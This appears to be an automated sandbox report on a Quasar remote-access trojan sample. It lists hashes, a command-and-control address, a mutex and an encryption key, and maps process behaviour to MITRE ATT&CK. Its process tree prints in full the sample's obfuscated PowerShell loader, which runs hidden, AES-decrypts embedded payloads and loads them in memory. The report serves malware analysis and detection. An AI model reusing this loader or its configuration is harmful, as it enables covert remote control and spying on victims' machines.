quasar | ce508fa9511aa4309eac4918f01af343cdd2bce0c73e9bce9e4206a13582e17d

General

Target

ai6lyo.cmd
Size

1.6MB
MD5

0f8ecd82f53888d03ee36e78225181fb
SHA1

3abe8ed58265316c75158065443a6318a6318f9d
SHA256

ce508fa9511aa4309eac4918f01af343cdd2bce0c73e9bce9e4206a13582e17d
SHA512

aae702e1479c0fc780e3f8ff9933c396df79e5b753eda570c6b0d3b95091bbfe2b0bfab408279b9f9cf350022d69904c94cb2b543fc3d5f221557e1b80b5994e
SSDEEP

24576:KZHDpueS6SQJIkbxXB8PYnzvqaUgGKWGO+rXnarj2kFbrHHmQKnPd9ygZ3nalxEE:m79v9PiZdDDasP

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

45.200.148.197:8080

Mutex

b24e0ed5-7881-48ee-84be-d87223f56093

Attributes

encryption_key
561A2408C473BBAB7B3AD5B4005F5481E98E07AC
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2256-32-0x0000022DE2B40000-0x0000022DE2E64000-memory.dmp	family_quasar

Blocklisted process makes network request 6 IoCs

flow	pid	Process
21	2256	powershell.exe
31	2256	powershell.exe
40	2256	powershell.exe
48	2256	powershell.exe
66	2256	powershell.exe
68	2256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2256	powershell.exe
2972	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2256	powershell.exe
2256	powershell.exe
2972	powershell.exe
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 4092	2916	cmd.exe	86
PID 2916 wrote to memory of 4092	2916	cmd.exe	86
PID 2916 wrote to memory of 2256	2916	cmd.exe	87
PID 2916 wrote to memory of 2256	2916	cmd.exe	87
PID 2256 wrote to memory of 2972	2256	powershell.exe	90
PID 2256 wrote to memory of 2972	2256	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('ONtjvMqqcp75ptvrr9j0+odlpmHmbLzvPC2XW4Gf9+M='); $aes_var.IV=[System.Convert]::FromBase64String('47rSMPYtNq+Nh4BU6nAwCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$gQudi=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LEOeX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FqtiG=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($gQudi, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FqtiG.CopyTo($LEOeX); $FqtiG.Dispose(); $gQudi.Dispose(); $LEOeX.Dispose(); $LEOeX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$RIFHK=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$eirEp=$RIFHK.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$eirEp.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FuLWv = 'C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd';$host.UI.RawUI.WindowTitle = $FuLWv;$SYigU=[System.IO.File]::ReadAllText($FuLWv).Split([Environment]::NewLine);foreach ($LWTox in $SYigU) { if ($LWTox.StartsWith('acqDyQRLClHWQnbxiXNC')) { $BDNyI=$LWTox.Substring(20); break; }}$payloads_var=[string[]]$BDNyI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2d3rnzm5.c21.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2256-34-0x0000022DE3800000-0x0000022DE38B2000-memory.dmp

Filesize
712KB

Download
memory/2256-30-0x0000022DE2520000-0x0000022DE252C000-memory.dmp

Filesize
48KB

Download
memory/2256-11-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download
memory/2256-38-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download
memory/2256-13-0x0000022DE28C0000-0x0000022DE2904000-memory.dmp

Filesize
272KB

Download
memory/2256-14-0x0000022DE2990000-0x0000022DE2A06000-memory.dmp

Filesize
472KB

Download
memory/2256-37-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download
memory/2256-36-0x00007FFE3D0E3000-0x00007FFE3D0E5000-memory.dmp

Filesize
8KB

Download
memory/2256-1-0x0000022DE23D0000-0x0000022DE23F2000-memory.dmp

Filesize
136KB

Download
memory/2256-35-0x0000022DE3A90000-0x0000022DE3C52000-memory.dmp

Filesize
1.8MB

Download
memory/2256-12-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download
memory/2256-31-0x0000022DE2A10000-0x0000022DE2B42000-memory.dmp

Filesize
1.2MB

Download
memory/2256-32-0x0000022DE2B40000-0x0000022DE2E64000-memory.dmp

Filesize
3.1MB

Download
memory/2256-33-0x0000022DE3400000-0x0000022DE3450000-memory.dmp

Filesize
320KB

Download
memory/2256-0-0x00007FFE3D0E3000-0x00007FFE3D0E5000-memory.dmp

Filesize
8KB

Download
memory/2972-26-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download
memory/2972-25-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download
memory/2972-21-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download
memory/2972-29-0x00007FFE3D0E0000-0x00007FFE3DBA1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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